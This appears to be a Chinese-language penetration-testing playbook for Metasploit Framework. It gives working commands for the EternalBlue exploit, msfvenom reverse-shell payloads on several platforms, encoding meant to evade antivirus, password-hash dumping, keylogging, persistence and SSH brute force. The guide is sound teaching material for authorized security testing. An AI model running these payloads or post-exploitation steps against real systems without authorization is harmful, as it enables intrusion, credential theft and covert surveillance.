Metasploit Framework

Metasploit Framework

用途

借助 Metasploit Framework 开展全面的渗透测试，涵盖从初始利用到利用后活动的各个阶段。Metasploit 提供统一平台，可用于漏洞利用、载荷生成、辅助扫描，以及在经授权的安全评估期间维持对已攻陷系统的访问。

前提条件

必需工具

# Metasploit comes pre-installed on Kali Linux
# For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Start PostgreSQL for database support
sudo systemctl start postgresql
sudo msfdb init

必备知识

• 网络和系统基础知识
• 了解漏洞和漏洞利用
• 基本编程概念
• 目标枚举技术

必需权限

• 书面测试授权
• 访问目标系统的网络权限
• 了解测试范围和交战规则

输出和交付物

1. 利用证据 - 成功攻陷系统的屏幕截图和日志
2. 会话日志 - 命令历史记录和提取的数据
3. 漏洞映射 - 已利用的漏洞及其 CVE 引用
4. 利用后产物 - 凭据、文件和系统信息

核心工作流

阶段 1：MSFConsole 基础

启动并浏览 Metasploit 控制台：

# Start msfconsole
msfconsole

# Quiet mode (skip banner)
msfconsole -q

# Basic navigation commands
msf6 > help                    # Show all commands
msf6 > search [term]           # Search modules
msf6 > use [module]            # Select module
msf6 > info                    # Show module details
msf6 > show options            # Display required options
msf6 > set [OPTION] [value]    # Configure option
msf6 > run / exploit           # Execute module
msf6 > back                    # Return to main console
msf6 > exit                    # Exit msfconsole

阶段 2：模块类型

了解不同的模块类别：

# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version

# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump

# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai

# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops

# 7. Evasion - Bypass security controls
msf6 > show evasion

阶段 3：搜索模块

为目标查找合适的模块：

# Search by name
msf6 > search eternalblue

# Search by CVE
msf6 > search cve:2017-0144

# Search by platform
msf6 > search platform:windows type:exploit

# Search by type and keyword
msf6 > search type:auxiliary smb

# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent

# Combined search
msf6 > search type:exploit platform:linux apache

# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description

阶段 4：配置漏洞利用模块

设置漏洞利用模块以供执行：

# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100

# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445

# View compatible payloads
msf6 exploit(...) > show payloads

# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# View all options again to verify
msf6 exploit(...) > show options

# Check if target is vulnerable (if supported)
msf6 exploit(...) > check

# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run

阶段 5：载荷类型

根据情况选择合适的载荷：

# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp

# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp

# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell

# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp

阶段 6：Meterpreter 会话

使用 Meterpreter 开展利用后活动：

# After successful exploitation, you get Meterpreter prompt
meterpreter >

# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\

# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]

# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs

# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector

# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >

# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1

阶段 7：辅助模块

使用辅助模块进行侦察：

# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run

# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run

阶段 8：利用后模块

在活动会话上运行利用后模块：

# List sessions
msf6 > sessions -l

# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run

# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump

# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds

# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs

# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester

# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence

# Pivoting
post/multi/manage/autoroute

阶段 9：使用 msfvenom 生成载荷

创建独立载荷：

# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk

# Encoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# List available formats
msfvenom --list formats

# List available encoders
msfvenom --list encoders

阶段 10：设置处理器

配置用于接收传入连接的监听器：

# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

# The -j flag runs as background job
msf6 > jobs -l

# When payload executes on target, session opens
[*] Meterpreter session 1 opened

# Interact with session
msf6 > sessions -i 1

快速参考

MSFConsole 基本命令

命令	说明
search [term]	搜索模块
use [module]	选择模块
info	显示模块信息
show options	显示可配置选项
set [OPT] [val]	设置选项值
setg [OPT] [val]	设置全局选项
run / exploit	执行模块
check	检查目标是否存在漏洞
back	取消选择模块
sessions -l	列出活动会话
sessions -i [N]	与会话交互
jobs -l	列出后台任务
db_nmap	使用数据库运行 nmap

Meterpreter 基本命令

命令	说明
sysinfo	系统信息
getuid	当前用户
getsystem	尝试提升权限
hashdump	导出密码哈希
shell	切换到系统 shell
upload/download	文件传输
screenshot	截取屏幕
keyscan_start	启动键盘记录器
migrate [PID]	切换到其他进程
background	将会话置于后台
portfwd	端口转发

常见漏洞利用模块

# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac

# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec

# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console

约束和限制

法律要求

• 仅在自有系统或已获书面测试授权的系统上使用
• 记录所有测试活动
• 遵守交战规则
• 向相关方报告所有发现

技术限制

• 现代 AV/EDR 可能会检测到 Metasploit 载荷
• 某些漏洞利用需要特定的目标配置
• 防火墙规则可能会阻止反向连接
• 并非所有漏洞利用都适用于所有目标版本

操作安全

• 尽可能使用加密通道（reverse_https）
• 测试后清理产物
• 避免被监控系统检测到
• 将利用后活动限制在约定范围内

故障排除

问题	解决方案
数据库未连接	运行 sudo msfdb init，启动 PostgreSQL，然后运行 db_connect
Exploit 失败／未建立会话	运行 check；验证 payload 架构；检查防火墙；尝试不同的 payload
会话立即结束	迁移到稳定进程；使用无阶段 payload；检查 AV；使用 AutoRunScript
Payload 被 AV 检测到	使用编码选项 -e x86/shikata_ga_nai -i 10；使用规避模块；使用自定义模板